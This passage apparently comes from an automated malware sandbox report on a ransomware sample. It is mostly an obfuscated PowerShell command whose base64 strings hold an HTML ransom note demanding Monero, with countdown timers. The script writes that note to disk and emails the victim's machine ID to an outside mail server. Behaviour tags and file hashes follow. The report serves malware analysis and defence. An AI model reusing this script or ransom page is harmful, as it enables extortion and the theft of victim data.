bHMsIGV4Y2VwdCBnZXR0aW5nIGJlbmVmaXRzLiBJZiB3ZSBkbyBub3QgZG8gb3VyIHdvcmsgYW5kIGxpYWJpbGl0aWVzIC0gbm9ib2R5IHdpbGwgY29vcGVyYXRlIHdpdGggdXMuIEl0cyBub3QgaW4gb3VyIGludGVyZXN0cy48L3A+PC9kaXY+PC9kaXY+PGRpdiBjbGFzcz0nc2VjdGlvbic+PGRpdiBjbGFzcz0nc2VjdGlvbi10aXRsZSc+NC4gSG93IERvIEkgUGF5PzwvZGl2PjxkaXYgY2xhc3M9J3NlY3Rpb24tY29udGVudCc+PHA+UGF5bWVudCBpcyBhY2NlcHRlZCBpbiBNb25lcm8gKFhNUikgb25seS4gRm9yIG1vcmUgaW5mb3JtYXRpb24sIGNsaWNrIDxhIGhyZWY9J2h0dHBzOi8vd3d3LmdldG1vbmVyby5vcmcvJz5BYm91dCBNb25lcm88L2E+LiBQbGVhc2UgY2hlY2sgdGhlIGN1cnJlbnQgcHJpY2Ugb2YgTW9uZXJvIGFuZCBzZW5kIHRoZSBjb3JyZWN0IGFtb3VudC4gRm9yIG1vcmUgaW5mb3JtYXRpb24sIGNsaWNrIDxhIGhyZWY9J2h0dHBzOi8vd3d3LmtyYWtlbi5jb20vbGVhcm4vYnV5LW1vbmVyby14bXInPkhvdyB0byBidXkgTW9uZXJvPC9hPi4gT25jZSB0aGUgcGF5bWVudCBpcyBjaGVja2VkLCB3ZSBndWFyYW50ZWUgdGhhdCB5b3Ugd2lsbCBpbW1lZGlhdGVseSByZWNlaXZlIHRoZSBrZXkgYW5kIGNhbiBkZWNyeXB0IHlvdXIgZmlsZXMuPC9wPjxkaXYgY2xhc3M9J21vbmVyby1hZGRyZXNzJz48ZGl2IGNsYXNzPSdhZGRyZXNzLWxhYmVsJz5TZW5kICQ1MDAgd29ydGggb2YgTW9uZXJvIHRvIHRoaXMgYWRkcmVzczo8L2Rpdj48ZGl2IGNsYXNzPSdhZGRyZXNzLWJveCc+PGlucHV0IGNsYXNzPSdhZGRyZXNzLWlucHV0JyByZWFkb25seT0nJyB0eXBlPSd0ZXh0JyB2YWx1ZT0nOEJFTXBDdVNMNWFCRjVyRzFhOVVORmdCY1BVMTZlTlVYYlhEQnpRSnFEM0U0amRKYVVoQXczTENWSDNGNGdQVXlzaW9ZcmpzUE1hMzQ0N29Mb1N1QWhVckg3RVF0Q0MnLz48YnV0dG9uIGNsYXNzPSdjb3B5LWJ0bic+Q29weTwvYnV0dG9uPjwvZGl2PjwvZGl2PjxwPkFmdGVyIHlvdXIgcGF5bWVudCwgeW91IGNhbiBmaW5kICdUcmFuc2FjdGlvbiBJRCcgYW5kICdUcmFuc2FjdGlvbiBLZXknIG9uIHRoZSB0cmFuc2ZlcnMgcGFnZS4gVGhlc2UgSURzIGFyZSBnZW5lcmF0ZWQgdG8gcHJvdmUgdGhlIHZhbGlkaXR5IG9mIHRoZSB0cmFuc2FjdGlvbi4gUGxlYXNlIGZpbGwgaW4gdGhlIGJveGVzIGJlbG93IGFuZCBjbGljayB0aGUgW0dlbmVyYXRlIE1hY2hpbmUgSURdIGJ1dHRvbi48L3A+PGRpdiBjbGFzcz0nbW9uZXJvLWFkZHJlc3MnPjxkaXYgY2xhc3M9J2FkZHJlc3MtbGFiZWwnPlRyYW5zYWN0aW9uIElEOjwvZGl2PjxkaXYgY2xhc3M9J2FkZHJlc3MtYm94Jz48aW5wdXQgY2xhc3M9J2FkZHJlc3MtaW5wdXQnIGlkPSdUeG5JRCcgdHlwZT0ndGV4dCcvPjwvZGl2PjxkaXYgY2xhc3M9J2FkZHJlc3MtbGFiZWwnPlRyYW5zYWN0aW9uIEtleTo8L2Rpdj48ZGl2IGNsYXNzPSdhZGRyZXNzLWJveCc+PGlucHV0IGNsYXNzPSdhZGRyZXNzLWlucHV0JyBpZD0nVHhuS2V5JyB0eXBlPSd0ZXh0Jy8+PC9kaXY+PGJ1dHRvbiBjbGFzcz0nZ2VuZXJhdGUtYnRuJyBvbmNsaWNrPSdzYXZlTWFjaGluZUlEKCknPkdlbmVyYXRlIE1hY2hpbmUgSUQ8L2J1dHRvbj48L2Rpdj48cD48c3Ryb25nPlRoaXMgd2lsbCBnZW5lcmF0ZSBhIE1hY2hpbmUgSUQgZmlsZSB0aGF0IG5lZWRzIHRvIGJlIHNlbnQgYWxvbmcgdG8gdXMgaW4gb3JkZXIgdG8gZGVjcnlwdCBmaWxlcy48L3N0cm9uZz48L3A+PC9kaXY+PC9kaXY+PGRpdiBjbGFzcz0nc2VjdGlvbic+PGRpdiBjbGFzcz0nc2VjdGlvbi10aXRsZSc+NS4gSG93IHdpbGwgdGhlIGRlY3J5cHRpb24gcHJvY2VzcyBwcm9jZWVkIGFmdGVyIHBheW1lbnQ/PC9kaXY+PGRpdiBjbGFzcz0nc2VjdGlvbi1jb250ZW50Jz48cD5BZnRlciBwYXltZW50IHdlIHdpbGwgc2VuZCB0byB5b3Ugb3VyIHNjYW5uZXItZGVjb2RlciBwcm9ncmFtIGFuZCBkZXRhaWxlZCBpbnN0cnVjdGlvbnMgZm9yIHVzZS4gV2l0aCB0aGlzIHByb2dyYW0geW91IHdpbGwgYmUgYWJsZSB0byBkZWNyeXB0IGFsbCB5b3VyIGVuY3J5cHRlZCBmaWxlcy48L3A+PC9kaXY+PC9kaXY+PGRpdiBjbGFzcz0nc2VjdGlvbic+PGRpdiBjbGFzcz0nc2VjdGlvbi10aXRsZSc+Ni4gSG93IHRvIGNvbnRhY3Qgd2l0aCB5b3U/PC9kaXY+PGRpdiBjbGFzcz0nc2VjdGlvbi1jb250ZW50Jz48cD5Zb3UgY2FuIGNvbnRhY3QgdXMgdmlhIG1haWxib3ggb3IgVE9YLiBJZiB5b3UgZG9uJ3Qga25vdyBhYm91dCBUT1gsIGdvIHRvIDxhIGhyZWY9J2h0dHBzOi8vdG94LmNoYXQnPmh0dHBzOi8vdG94LmNoYXQuPC9hPjwvcD48cD48c3Ryb25nPkZpbmFsbHksIHRydXN0IHRoYXQgd2UgYXJlIGEgcmVwdXRhYmxlIGdyb3VwLiBXZSBwcm9taXNlIHRoYXQgeW91IGNhbiByZWNvdmVyIGFsbCB5b3VyIGZpbGVzIGFmdGVyIHRoZSBwYXltZW50Ljwvc3Ryb25nPjwvcD48L2Rpdj48L2Rpdj48ZGl2IGNsYXNzPSdjb250YWN0LWFkZHJlc3MnPjxkaXYgY2xhc3M9J2NvbnRhY3QtbGFiZWwnPkVtYWlsIEFkZHJlc3M6PC9kaXY+PGRpdiBjbGFzcz0nYWRkcmVzcy1ib3gnPjxpbnB1dCBjbGFzcz0nYWRkcmVzcy1pbnB1dCcgcmVhZG9ubHk9JycgdHlwZT0ndGV4dCcgdmFsdWU9J2tpdDgyODBAcHVua3Byb29mLmNvbScvPjxidXR0b24gY2xhc3M9J2NvcHktYnRuJz5Db3B5PC9idXR0b24+PC9kaXY+PGRpdiBjbGFzcz0nY29udGFjdC1sYWJlbCc+VG94IElEOjwvZGl2PjxkaXYgY2xhc3M9J2FkZHJlc3MtYm94Jz48aW5wdXQgY2xhc3M9J2FkZHJlc3MtaW5wdXQnIHJlYWRvbmx5PScnIHR5cGU9J3RleHQnIHZhbHVlPSdENkRBQkREOTYwMEM5QzU0ODFFRDQxMjcwNzE1MDlEMjg3REQ1MzlGQjM2RjBCQzgyRDRGQTBGMDgwMEFGOTcwOTIzQjU1MDAwNjREJy8+PGJ1dHRvbiBjbGFzcz0nY29weS1idG4nPkNvcHk8L2J1dHRvbj48L2Rpdj48L2Rpdj48L2Rpdj48ZGl2IGNsYXNzPSdmb290ZXInPsKpIDIwMjUgRmlsZSBEZWNyeXB0b3IgU2VydmljZS4gQWxsIHJpZ2h0cyByZXNlcnZlZC4gRGVjcnlwdGlvbiBrZXlzIGFyZSBzZWN1cmVseSBzdG9yZWQgb24gb3VyIHNlcnZlcnMuICAgICAgICA8L2Rpdj4=\";$j=\"ZnVuY3Rpb24gc3RhcnRDb3VudGRvd24oKXtjb25zdCBwYXltZW50VGltZXIgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgncGF5bWVudFRpbWVyJyk7Y29uc3QgZmlsZVRpbWVyID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2ZpbGVUaW1lcicpO2NvbnN0IHBheW1lbnREdWUgPSBuZXcgRGF0ZShlRGF0YSk7cGF5bWVudER1ZS5zZXREYXRlKHBheW1lbnREdWUuZ2V0RGF0ZSgpKyAyKTtjb25zdCBmaWxlTG9zdCA9IG5ldyBEYXRlKGVEYXRhKTtmaWxlTG9zdC5zZXREYXRlKGZpbGVMb3N0LmdldERhdGUoKSsgNSk7ZnVuY3Rpb24gdXBkYXRlVGltZXJzKCl7Y29uc3Qgbm93ID0gbmV3IERhdGUoKTtsZXQgcGF5bWVudERpZmYgPSBwYXltZW50RHVlIC0gbm93O2lmIChwYXltZW50RGlmZiA8PSAwKXtwYXltZW50VGltZXIudGV4dENvbnRlbnQgPSAnMDA6MDA6MDAnO31lbHNlIHtjb25zdCBwYXltZW50SG91cnMgPSBNYXRoLmZsb29yKHBheW1lbnREaWZmIC8gKDEwMDAgKiA2MCAqIDYwKSk7cGF5bWVudERpZmYgJT0gKDEwMDAgKiA2MCAqIDYwKTtjb25zdCBwYXltZW50TWludXRlcyA9IE1hdGguZmxvb3IocGF5bWVudERpZmYgLyAoMTAwMCAqIDYwKSk7cGF5bWVudERpZmYgJT0gKDEwMDAgKiA2MCk7Y29uc3QgcGF5bWVudFNlY29uZHMgPSBNYXRoLmZsb29yKHBheW1lbnREaWZmIC8gMTAwMCk7cGF5bWVudFRpbWVyLnRleHRDb250ZW50ID0gcGF5bWVudEhvdXJzLnRvU3RyaW5nKCkucGFkU3RhcnQoMiwnMCcpKyc6JytwYXltZW50TWludXRlcy50b1N0cmluZygpLnBhZFN0YXJ0KDIsJzAnKSsnOicrcGF5bWVudFNlY29uZHMudG9TdHJpbmcoKS5wYWRTdGFydCgyLCcwJyk7fWxldCBmaWxlRGlmZiA9IGZpbGVMb3N0IC0gbm93O2lmIChmaWxlRGlmZiA8PSAwKXtmaWxlVGltZXIudGV4dENvbnRlbnQgPSAnMDA6MDA6MDAnO31lbHNlIHtjb25zdCBmaWxlSG91cnMgPSBNYXRoLmZsb29yKGZpbGVEaWZmIC8gKDEwMDAgKiA2MCAqIDYwKSk7ZmlsZURpZmYgJT0gKDEwMDAgKiA2MCAqIDYwKTtjb25zdCBmaWxlTWludXRlcyA9IE1hdGguZmxvb3IoZmlsZURpZmYgLyAoMTAwMCAqIDYwKSk7ZmlsZURpZmYgJT0gKDEwMDAgKiA2MCk7Y29uc3QgZmlsZVNlY29uZHMgPSBNYXRoLmZsb29yKGZpbGVEaWZmIC8gMTAwMCk7ZmlsZVRpbWVyLnRleHRDb250ZW50ID0gZmlsZUhvdXJzLnRvU3RyaW5nKCkucGFkU3RhcnQoMiwnMCcpKyc6JytmaWxlTWludXRlcy50b1N0cmluZygpLnBhZFN0YXJ0KDIsJzAnKSsnOicrZmlsZVNlY29uZHMudG9TdHJpbmcoKS5wYWRTdGFydCgyLCcwJyk7fX11cGRhdGVUaW1lcnMoKTtzZXRJbnRlcnZhbCh1cGRhdGVUaW1lcnMsIDEwMDApO31mdW5jdGlvbiBzYXZlTWFjaGluZUlEKCl7Y29uc3QgVHhuSUQgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnVHhuSUQnKS52YWx1ZS50cmltKCk7Y29uc3QgVHhuS2V5ID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ1R4bktleScpLnZhbHVlLnRyaW0oKTtjb25zdCBNSUQgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZGF0YScpLmRhdGFzZXQucGF5bG9hZDtpZiAoVHhuSUQubGVuZ3RoIT09NjQpe2FsZXJ0KCdJbnZhbGlkIFRyYW5zYWN0aW9uIElEJyk7cmV0dXJuO31pZiAoVHhuS2V5Lmxlbmd0aCE9PTY0KXthbGVydCgnSW52YWxpZCBUcmFuc2FjdGlvbiBLZXknKTtyZXR1cm47fWNvbnN0IGNvbWIgPSBUeG5JRCtUeG5LZXkrTUlEO2NvbnN0IGJsb2IgPSBuZXcgQmxvYihbY29tYl0sIHt0eXBlOid0ZXh0L3BsYWluO2NoYXJzZXQ9dXRmLTgnfSk7Y29uc3QgZmlsZU5hbWUgPSAnWW91cl9NYWNoaW5lX0lELnR4dCc7Y29uc3QgdXJsID0gVVJMLmNyZWF0ZU9iamVjdFVSTChibG9iKTtjb25zdCBhID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnYScpO2EuaHJlZiA9IHVybDthLmRvd25sb2FkID0gZmlsZU5hbWU7YS5zdHlsZS5kaXNwbGF5ID0gJ25vbmUnO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7YS5jbGljaygpO31kb2N1bWVudC5xdWVyeVNlbGVjdG9yQWxsKCcuY29weS1idG4nKS5mb3JFYWNoKGJ1dHRvbiA9PntidXR0b24uYWRkRXZlbnRMaXN0ZW5lcignY2xpY2snLCBhc3luYyBmdW5jdGlvbigpe2NvbnN0IGlucHV0ID0gdGhpcy5wYXJlbnROb2RlLnF1ZXJ5U2VsZWN0b3IoJy5hZGRyZXNzLWlucHV0Jyk7dHJ5IHthd2FpdCBuYXZpZ2F0b3IuY2xpcGJvYXJkLndyaXRlVGV4dChpbnB1dC52YWx1ZSk7Y29uc3Qgb3JpZ2luYWxUZXh0ID0gdGhpcy50ZXh0Q29udGVudDt0aGlzLnRleHRDb250ZW50ID0gJ0NvcGllZCEnO3NldFRpbWVvdXQoKCk9Pnt0aGlzLnRleHRDb250ZW50ID0gb3JpZ2luYWxUZXh0O30sIDIwMDApO31jYXRjaCAoZXJyKXtjb25zb2xlLmVycm9yKCdDb3B5IGZhaWw6JywgZXJyKTt9fSk7fSk7d2luZG93Lm9ubG9hZCA9IHN0YXJ0Q291bnRkb3duOzwvc2NyaXB0PjwvYm9keT48L2h0bWw+\";$b=[System.Convert]::FromBase64String($i);$c=[System.Convert]::FromBase64String($j);$t=[System.Text.Encoding]::UTF8.GetString($b);$u=[System.Text.Encoding]::UTF8.GetString($c);$w=\"<div data-payload='\"+[System.Convert]::ToBase64String($VhBppDOc99)+\"' id='data'></div></div><script>const eData = new Date(\"+[System.BitConverter]::ToInt64($CYwQwYHI99,0).ToString()+\"*1000);\";$v=$t+$w+$u;Set-Content -Path $h -Value $v -Encoding UTF8 -Force;}}seNd-mAiLMeSsAGe -sMtPseRver \"in.mail.tm\" -pORt 25 -From \"[email protected]\" -To \"[email protected]\" -suBjEct \"MachineID\" -boDy $w"2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3400 -
C:\Windows\system32\NOTEPAD.EXE"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Downloads\Project_Workshop_7th_Minutes.txt3⤵
- Opens file in notepad (likely ransom note)
PID:2132
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_d3ofqueg.vxi.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- MD5 SHA1 SHA512
- Path C:\Users\Admin\Downloads\Project_Workshop_7th_Minutes.txt
- Size 1KB
- SHA256 f23cfe7ceb98be8521a7841c37858ebf5e4b3d6300cd692c9b63dd3dbf6dfad4
- MD5 1bd729d55909a5dc95700861f0a25a3c
- SHA1 35c4254e2c42bb7cfe5eca80ecb5b60ec97ee578
- SHA512 cfddfb0525d055f29170aded50723b649ea7f8c126c6c9d50708260c9d40b2bd319015f262ca1d14f363324a012808cb92039732392ba1ba73eeb4d740a49909
- MD5 SHA1 SHA512
- Path C:\Users\Admin\Videos\DECRYPT_INSTRUCTION.html
- Size 10KB
- SHA256 769faf10b05c7719c2ede9c896993df47d607b7e5c35152dde67f161a9f3f415
- MD5 80cd17bd36732849d3938269a8cb3bd6
- SHA1 34935c0402d71fdd8cd9a07ff3e61e922e423abe
- SHA512 de5c9f759ad38f2cd6e318eff1c5ac9f2f0f2c8fbdc6a9d3f55a6513c68f457b4b2b5f759b2d9ecd1f5c276c029748cdc4963fb725e48922ea88c2567a0b7cdd
- SSDEEP 192:JzcuJg2besZSnETG3wqKrw6h21wVvkZKw4R8wjNzwcVwaTdJ4QDTqDSsdG8BStRu:l2sQnMGQAoJ7IDSsk8BStRgbyrD1GiZ+
- MD5 SHA1 SHA512 SSDEEP